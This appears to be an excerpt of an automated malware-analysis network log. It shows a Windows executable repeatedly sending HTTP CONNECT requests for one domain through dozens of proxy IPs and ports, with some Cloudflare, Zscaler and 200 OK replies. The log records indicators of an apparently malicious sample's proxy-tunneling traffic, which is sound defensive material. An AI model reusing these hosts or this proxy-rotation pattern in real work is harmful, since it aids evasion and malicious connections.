Mar 11, 2024 15:21:07.953285933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.107240915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.9	54177	172.67.181.37	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.954119921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.108293056 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.9	53242	184.178.172.13	15311	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.960048914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.9	54140	185.217.143.23	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.966561079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.9	54217	129.226.90.34	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.970797062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.9	54219	129.226.90.34	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.972317934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.9	54220	129.226.90.34	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.974109888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.9	53482	120.136.21.230	10116	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.985523939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.137738943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.484534979 CET	1286	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Zscaler/6.2 Cache-Control: no-cache Access-Control-Allow-Origin: * Content-length: 13631 Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 68 72 65 65 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 37 35 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 34 33 30 70 78 3b 0a 7d 0a 2e 70 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 0a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 0a 7d 0a 2e 70 67 3a 62 65 66 6f 72 65 20 7b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a Data Ascii: ...# Id: closedproxy.html 285144 2021-06-16 05:02:06Z szhang --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta name="description" content="Zscaler makes the internet safe for businesses by protecting their employees from malware, viruses, and other security threats."><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Internet Security by Zscaler</title><script language="JavaScript">var defLang = 'en_US'</script>...<img alt="Zscaler" src="https://login.zscalerthree.net/img_logo_new1.png">--><style type="text/css">body {background-color:#e3e3e3;font-family:Arial, sans-serif;font-size:12px;color:#4B4F54;}a {cursor:pointer;text-decoration:none;color:#009dd0;}table {margin-top:10px;}td table {margin-top:0;text-align:center;}img {max-height:75px;max-width:430px;}.pg {position:absolute;top:0;bottom:0;left:0;right:0;overflow-x:hidden;white-space:nowrap;}.pg:before {content:"";display:inline-block;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.9	54162	192.252.220.92	17328	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.985837936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.9	54135	203.95.199.159	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.985923052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.9	54187	104.17.16.87	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.990849972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.144996881 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.9	54143	193.239.58.92	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.993484974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.9	52876	24.144.87.187	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.000391006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.201333046 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.9	52618	5.61.41.220	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.006477118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.9	54181	64.227.108.25	31908	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.008672953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.9	54285	152.32.132.220	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.020481110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.9	54289	152.32.132.220	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.022027016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.9	54293	152.32.132.220	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.023392916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.9	54295	152.32.132.220	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.024802923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.9	54145	103.166.141.74	20074	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.029083014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.9	53492	103.29.238.4	8090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.030489922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.137964010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.138118982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.137955904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.9	54144	103.127.52.132	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.095695972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.9	54142	116.106.105.208	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.101131916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.9	54146	95.66.138.21	8880	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.101167917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.9	54182	181.143.61.123	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.103574991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.9	54163	221.153.92.39	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.106971025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.9	54179	60.188.102.225	18080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.134135962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.9	54209	172.67.3.108	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.136887074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.294783115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.9	54215	172.67.14.237	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.140449047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
